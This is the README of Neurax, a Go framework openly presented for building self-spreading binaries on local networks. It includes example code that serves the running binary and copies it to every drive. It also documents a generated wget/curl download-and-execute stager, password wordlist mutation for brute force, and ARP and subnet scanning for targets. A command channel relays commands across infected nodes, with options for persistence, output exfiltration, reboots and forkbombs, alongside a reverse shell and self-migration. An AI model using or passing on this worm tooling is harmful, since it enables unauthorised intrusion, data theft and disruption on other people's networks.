Neurax : A Framework For Constructing Self-Spreading Binaries

Neurax is a framework that aids in creation of self-spreading software.

Requirements

go get -u github.com/redcode-labs/Coldfire

go get -u github.com/yelinaung/go-haikunator

New in v. 2.0

• New wordlist mutators + common passwords by country
• Improvised passive scanning
• .FastScan option that makes active scans a bit quicker
• Wordlists are created strictly in-memory
• NeuraxScan() accepts a callback function instead of channel as an argument.
• NeuraxScan() scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
• Reverse-DNS lookup for targets that are not in IP format
• Extraction of target candidates from ARP cache
• Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
• Possibility to specify interface and timeout when using passive network scan.
• Improved command stager (can be optionally executed with elevated privilleges / multiple times)
• Few changes of options’ names
• NeuraxConfig. became N. (cause it’s shorter to type)
• Functions for random memory allocation + binary migration
• Possibility to chain multiple stagers (ex. wget + curl)
• Volume and complexity of created wordlist can be easily tuned (with options such as .WordlistExpand)
• Possibility to set time-to-live of created binary

Usage

With help of Neurax, Golang binaries can spread on local network without using any external servers.

Diverse config options and command stagers allow rapid propagation across various wireless environments.

Example code

package main
import . “github.com/redcode-labs/Neurax”
func main(){
//Specify serving port and stager to use
N.Port = 5555
N.Stager = “wget”
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}

List of config entries

Name	Description	Default value
N.Stager	Name of the command stager to use	random, platform-compatible
N.StagerSudo	If true, Linux cmd stagers are executed with elevated privilleges	false
N.StagerRetry	Number of times to re-execute the command stager	0
N.Port	Port to serve on	6741
N.Platform	Platform to target	detected automatically
N.Path	The path under which binary is saved on the host	random
N.FileName	Name under which downloaded binary should be served and then saved	random
N.Base64	Encode the transferred binary in base64	false
N.CommPort	Port that is used by binaries to communicate with each other	7777
N.CommProto	Protocol for communication between nodes	"udp"
N.ReverseListener	Contains "<host>:<port>" of remote reverse shell handler	not specified
N.ReverseProto	Protocol to use for reverse connection	"udp"
N.ScanRequiredPort	NeuraxScan() treats host as active only when it has a specific port opened	none
N.ScanPassive	NeuraxScan() detects hosts using passive ARP traffic monitoring	false
N.ScanPassiveTimeout	NeuraxScan() monitors ARP layer this amount of seconds	50 seconds
N.ScanPassiveIface	Interface to use when scanning passively	default
N.ScanActiveTimeout	NeuraxScan() sets this value as timeout for scanned port in each thread	2 seconds
N.ScanPassiveAll	NeuraxScan() captures packets on all found devices	false
N.ScanPassiveNoArp	Passive scan doesn’t set strict ARP capture filter	false
N.ScanFirst	A slice containing IP addresses to scan first	[]string{}
N.ScanFirstOnly	NeuraxScan() scans only hosts specified within .ScanFirst	false
N.ScanArpCache	NeuraxScan() scans first the hosts found in local ARP cache. Works only with active scan	false
N.ScanCidr	NeuraxScan() scans this CIDR	local IP + "\24"
N.ScanThreads	Number of threads to use for NeuraxScan()	10
N.ScanFullRange	NeuraxScan() scans all ports of target host to determine if it is active	from 19 to 300
N.ScanInterval	Time interval to sleep before scanning whole subnet again	"2m"
N.ScanHostInterval	Time interval to sleep before scanning next host in active mode	"none"
N.ScanGatewayFirst	Gateway is the first host scanned when active scan is used	false
N.Verbose	If true, all error messages are printed to STDOUT	false
N.Remove	When any errors occur, binary removes itself from the host	false
N.PreventReexec	If true, when any command matches with those that were already received before, it is not executed	true
N.ExfilAddr	Address to which output of command is sent when 'v' preamble is present.	none
N.WordlistExpand	NeuraxWordlist() performs non-standard transformations on input words	false
N.WordlistCommon	Prepend 20 most common passwords to wordlist	false
N.WordlistCommonNum	Number of common passwords to use	all
N.WordlistCommonCountries	A map[string]int that contains country codes and number of passwords to use	map[string]int
N.WordlistMutators	Mutators to use when .WordlistExpand is specified	{"single_upper", "cyryllic", "encapsule"}
N.WordlistPermuteNum	Maximum length of permutation generated by NeuraxWordlistPermute()	2
N.WordlistPermuteSeparator	A separator character to use for permutations	"-"
N.WordlistShuffle	Shuffle generated wordlist before returning it	false
N.AllocNum	This entry defines how many times NeuraxAlloc() allocates random memory	5
N.Blacklist	Slice that contains IP addresses that are excluded from any type of scanning	[]string{}
N.FastHTTP	HTTP request in IsHostInfected() is performed using fasthttp library	false
N.Debug	Enable debug messages	false

Finding new targets

Function NeuraxScan(func(string)) enables detection of active hosts on local network. It’s only argument is a callback function that is called in background for every active host. Host is treated as active when it has at least 1 open port, is not already infected + fullfils conditions specified within N.

NeuraxScan() runs as infinite loop – it scans whole subnet specified by .Cidr config entry and when every host is scanned, function sleeps for an interval given in .ScanInterval.

Disks infection

Neurax binary doesn’t have to copy itself using wireless means. Function NeuraxDisks() copies current binary (under non-suspicious name) to all logical drives that were found. Copied binary is not executed, but simply resides in it’s destination waiting to be run. NeuraxDisks() returns an error if list of disks cannot be obtained or copying to any destination was impossible.

Another function, NeuraxZIP(num_files int) err allows to create a randomly named .zip archive containing current binary. It is saved in current directory, and contains up to num_files random files it.

NeuraxZIPSelf() simply zips the current binary, creating an archive holding the same name.

Synchronized command execution

Function NeuraxOpenComm() (launched as goroutine) allows binary to receive and execute commands. It listens on port number specified in .CommPort using protocol defined in .CommProto. Field .CommProto can be set either to "tcp" or "udp". Commands that are sent to the port used for communication are executed in a blind manner – their output isn’t saved anywhere.

An optional preamble can be added before the command string.

Format: :<preamble_letters> <command>

Example command with preamble might look like this: :ar echo "pwned"

Following characters can be specified inside preamble:

• a – received command is forwarded to each infected node, but the node that first received the command will not execute it
• x – received command will be executed even if a is specified
• r – after receiving the command, binary removes itself from infected host and quits execution
• k – keep preamble when sending command to other nodes
• s – sleep random number of seconds between 1 and 5 before executing command
• q – after command is executed, the machine reboots
• o – command is sent to a single, random node. a must be specified
• v – output of executed command is sent to an address specified under .ExfilAddr
• m – mechanism that prevents re-execution of commands becomes disabled just for this specific command
• l – command is executed in infinite loop
• e – command is executed only if the node has elevated privilleges
• p – command becomes persistent and is executed upon each startup
• d – output of executed command is printed to STDOUT for debugging purpose
• f – forkbomb is launched after command was executed
• ! – if command was executed with errors and a is specified, this command is not forwarded

By default, raw command sent without any preambles is executed by a single node that the command was addressed for.

It is also important to note that when k is not present inside preamble, preamble is removed from command right after the first node receives it.

Example 1 – preamble is not forwarded to other nodes:

(1) [TCP_client] “:ar whoami” —–> [InfectedHost1]
(2) [InfectedHost1] “whoami” —–> [InfectedHostN]
[InfectedHost1] removes itself after command was sent to all infected nodes in (2)
because “r” was specified in preamble. “x” was not specified, so “whoami” was not executed by [InfectedHost1]

Example 2 – preamble is forwarded

(1) [TCP_client] “:akxr whoami” —–> [InfectedHost1]
(2) [InfectedHost1] “:akxr whoami” —–> [InfectedHostN]
(n) [InfectedHostN] “:axkr whoami” —–> ……………
…………………………… —–> ……………
Both [InfectedHost1] and [InfectedHostN] execute command and they try to send it to another nodes with preamble preserved

Reverse connections

An interactive reverse shell can be established with NeuraxReverse(). It will receive commands from hostname specified inside .ReverseListener in a form of "<host>:<port>". Protocol that is used is defined under .ReverseProto If NeuraxOpenComm() was started before calling this function, each command will behave as described in above section. If it was not, commands will be executed locally.

Note: this function should be also runned as goroutine to prevent blocking caused by infinite loop used for receiving.

Cleaning up

Whenever "purge" command is received by a node, it resends this command to all other nodes, removes itself from host and quits. This behaviour can be also commenced using NeuraxPurge() executed somewhere in the source.

Wordlist creation

If spread vector of your choice is based on some kind of bruteforce, it is good to have a proper wordlist prepared. Storing words in a text-file on client side isn’t really effective, so you can mutate a basic wordlist using NeuraxWordlist(...words) []string. To permute a set of given words, use NeuraxWordlistPermute(..words) []string.

Setting time-to-live

If you want your binary to remove itself after given time, use NeuraxSetTTL() at the beginnig of your code. This function should be launched as a goroutine. For example:

go NeuraxSetTTL("2m")

will make the binary run NeuraxPurgeSelf() after 2 minutes from initial execution.

Using multiple stagers at once

If you would like to chain all stagers available for given platform, set .Stager to "chain".

Moving the dropped binary

If you need to copy the binary after initial execution, use NeuraxMigrate(path string). It will copy the binary under path, remove current binary and execute newly migrated one.